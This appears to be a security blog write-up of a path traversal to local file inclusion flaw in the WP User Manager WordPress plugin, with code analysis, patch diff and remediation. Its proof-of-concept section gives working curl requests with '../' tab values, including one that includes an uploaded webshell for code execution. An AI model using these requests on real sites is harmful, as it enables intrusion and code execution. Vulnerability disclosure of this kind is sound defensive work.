WP User Manager WordPress plugin banner

CVE-2026-9290: WP User Manager Unauthenticated Path Traversal to LFI (CVSS 7.5)

Updated 8 min read

CVE-2026-9290 is a CVSS 7.5 High Path Traversal to Local File Inclusion vulnerability in the WP User Manager – User Profile Builder & Membership WordPress plugin. An unauthenticated attacker can supply a crafted tab query parameter on any user profile page to include arbitrary PHP files from the server, enabling access control bypass, sensitive data exposure, or remote code execution when combined with a PHP file upload.

Vulnerability Summary

FieldValue
Plugin NameWP User Manager – User Profile Builder & Membership
Plugin Slugwp-user-manager
CVE IDCVE-2026-9290
CVSS Score7.5 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Vulnerability TypeUnauthenticated Path Traversal to Local File Inclusion
Affected Versions<= 2.9.17
Patched Version2.9.18
PublishedJune 5, 2026
ResearcherYat
Wordfence AdvisoryLink

Description

The WP User Manager plugin for WordPress is vulnerable to Local File Inclusion in all versions up to and including 2.9.17. The vulnerability exists in the profile template scope function. Unauthenticated attackers can include and execute arbitrary PHP files on the server. This allows execution of any PHP code in those files. It can bypass access controls, expose sensitive data, or achieve remote code execution when PHP files can be uploaded and included.

Technical Analysis

Vulnerable Function: wpum_get_active_profile_tab()

The function wpum_get_active_profile_tab() in includes/functions.php is responsible for determining which tab to display on a user profile page.

// includes/functions.php — vulnerable version 2.9.17
function wpum_get_active_profile_tab() {
    $first_tab   = key( wpum_get_registered_profile_tabs() );
    $profile_tab = get_query_var( 'tab', $first_tab );

    return $profile_tab;
}

The function reads the tab value directly from WordPress query variables via get_query_var('tab', $first_tab). It performs no validation against the list of known, registered profile tabs. Any value in the tab query variable is returned as-is.

How the tab Query Variable Is Populated

The plugin uses the Brain Cortex router library to define custom URL routes in includes/permalinks.php. One of these routes handles profile page URLs with an optional tab path segment:

// includes/permalinks.php — route with tab in URL path
$routes->addRoute( new QueryRoute(
    $page_slug . '{profile:[^/]+}/{tab:[a-zA-Z0-9_.-]+}',
    function ( array $matches ) use ( $profile_page_id ) {
        return array(
            'profile' => rawurldecode( $matches['profile'] ),
            'tab'     => rawurldecode( $matches['tab'] ),
            'page_id' => $profile_page_id,
        );
    }
) );

The path-based {tab} segment is constrained to [a-zA-Z0-9_.-]+, which appears to block traversal characters. However, this constraint only applies to the URL path segment, not to the URL query string.

The Bypass: merge_query_string Overwrite

The Cortex router’s finalizeRoute method in Router.php enables query string merging by default:

// vendor-dist/brain/cortex/src/Cortex/Router/Router.php
\is_null($route['merge_query_string']) and $route['merge_query_string'] = \true;
$merge = \filter_var($route['merge_query_string'], \FILTER_VALIDATE_BOOLEAN);
$uriVars = $uri->vars();   // parses the URL query string via parse_str()
$merge and $vars = \array_merge($vars, $uriVars);

The $uriVars value comes from parse_str() on the raw URL query string. Because array_merge places $uriVars second, the query string values overwrite the route-matched values. An attacker adds ?tab=../something to the URL query string, and this value overwrites the path-matched tab variable entirely — bypassing the route regex constraint.

These merged vars are then set as WordPress query variables via QueryVarsController:

// vendor-dist/brain/cortex/src/Cortex/Controller/QueryVarsController.php
public function run(array $vars, \WP $wp, $template = '')
{
    $wp->query_vars = $vars;
    return \false;
}

When wpum_get_active_profile_tab() calls get_query_var('tab'), it reads the attacker-controlled value.

File Inclusion via Template Loader

The returned $active_tab value flows directly into the template loader in templates/profile.php:

// templates/profile.php — line 52 area
$active_tab = wpum_get_active_profile_tab();
WPUM()->templates->set_template_data( array(
    'user'            => $data->user,
    'current_user_id' => $data->current_user_id,
) )->get_template_part( "profiles/{$active_tab}" );

get_template_part("profiles/{$active_tab}") is implemented in the Gamajo template loader library. It calls get_template_file_names() which constructs filenames like profiles/{$active_tab}.php. The resulting path is passed to locate_template():

// vendor-dist/gamajo/template-loader/class-gamajo-template-loader.php
public function locate_template($template_names, $load = false, $require_once = true)
{
    // ...
    foreach ($template_names as $template_name) {
        $template_name = ltrim($template_name, '/');  // only strips leading slashes
        foreach ($template_paths as $template_path) {
            if (file_exists($template_path . $template_name)) {
                $located = $template_path . $template_name;
                break 2;
            }
        }
    }
    if ($load && $located) {
        load_template($located, $require_once);  // PHP file inclusion
    }
    return $located;
}

The locate_template function strips only leading slashes via ltrim(). It does not sanitize ../ sequences. With $active_tab = '../account', the constructed path is:

{plugin_templates_dir}/profiles/../account.php

This resolves to {plugin_templates_dir}/account.php, a real file in the plugin. With deeper traversal like ../../../../wp-config, the attacker can target files outside the plugin directory entirely.

The load_template() function includes the resolved file using PHP’s require, executing any PHP code it contains.

Proof of Concept

Disclaimer: This PoC is for authorized security testing and educational purposes only. Do not test on systems you do not own or have explicit permission to test.

Prerequisites

  • WP User Manager plugin installed and active, version <= 2.9.17
  • A public user profile page exists (e.g., https://example.com/profile/)
  • WordPress has at least one registered user with a profile URL

Step 1: Identify the Profile Page

Visit the WordPress site and find any user profile URL. The default format is typically:

https://example.com/profile/{username}/

Step 2: Trigger Local File Inclusion

Append ?tab= with a path traversal sequence to the profile URL. The following example includes the plugin’s own account.php file by traversing one level up from the profiles/ directory:

# Include the plugin's account.php template (demonstrates LFI)
curl -s "https://example.com/profile/admin/?tab=../account"

Expected result: The profile page renders the account form template instead of the normal “about” tab. This confirms that the ../ traversal succeeded and the file templates/account.php was included.

Step 3: Traverse to Arbitrary PHP Files

Use additional ../ sequences to traverse outside the plugin’s templates directory. For example, to include the plugin’s main file:

# Traverse further outside the templates directory
curl -s "https://example.com/profile/admin/?tab=../../wp-user-manager"

This resolves to {plugin_root}/wp-user-manager.php.

Step 4: Remote Code Execution (Advanced)

To achieve RCE, an attacker first needs a PHP file accessible on the server. This can be combined with a file upload vulnerability (for example, a user avatar upload that allows PHP files). Once a PHP webshell is uploaded, the attacker includes it via path traversal:

# Example: if a PHP shell was uploaded to wp-content/uploads/2026/06/shell.php
# The path from the templates directory requires enough ../ sequences to reach it
curl -s "https://example.com/profile/admin/?tab=../../../../../../wp-content/uploads/2026/06/shell"

Note: The template loader appends .php automatically, so the filename must end in .php on the server.

Step 5: Verify

A successful LFI will:

  1. Return unexpected page content or template output (not a 404 or default tab)
  2. Potentially echo PHP output if an executable PHP file is included
  3. Show error messages from included files if PHP error reporting is on

Patch Analysis

The fix was introduced in version 2.9.18 with a single, targeted change to includes/functions.php:

 function wpum_get_active_profile_tab() {
-	$first_tab   = key( wpum_get_registered_profile_tabs() );
+	$registered  = wpum_get_registered_profile_tabs();
+	$first_tab   = key( $registered );
 	$profile_tab = get_query_var( 'tab', $first_tab );
 
+	// Validate against registered tabs to prevent path traversal / LFI.
+	if ( ! isset( $registered[ $profile_tab ] ) ) {
+		$profile_tab = $first_tab;
+	}
+
 	return $profile_tab;
 }

The fix stores the registered tabs array in $registered, then checks whether the supplied $profile_tab value exists as a key in that array. If not, it falls back to $first_tab.

The registered tabs are defined as simple string keys: about, posts, and comments. None of these contain path traversal sequences. Because any value not in this allowlist is rejected, the fix completely closes the LFI attack surface.

The fix addresses the root cause — the missing allowlist validation — rather than just escaping the output or blocking specific characters. This is the correct approach.

Timeline

DateEvent
June 5, 2026Vulnerability publicly disclosed by Wordfence
June 5, 2026Patched version 2.9.18 released
June 7, 2026This blog post published

Remediation

Update WP User Manager to version 2.9.18 or later immediately.

To update:

  1. Go to WordPress Admin → Plugins → Installed Plugins
  2. Find WP User Manager
  3. Click Update Now

Alternatively, download the patched version directly from wordpress.org.

If immediate update is not possible, consider temporarily disabling the plugin until the update can be applied.

References

  1. Wordfence Advisory — CVE-2026-9290
  2. CVE-2026-9290 at MITRE
  3. WordPress.org Plugin Page
  4. Vulnerable File: templates/profile.php#L52
  5. Vulnerable File: includes/functions.php#L955
  6. Gamajo Template Loader — locate_template#L226
  7. Brain Cortex Router — Router.php#L183
  8. Patch Commit on Trac
  9. GitHub Pull Request #445
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee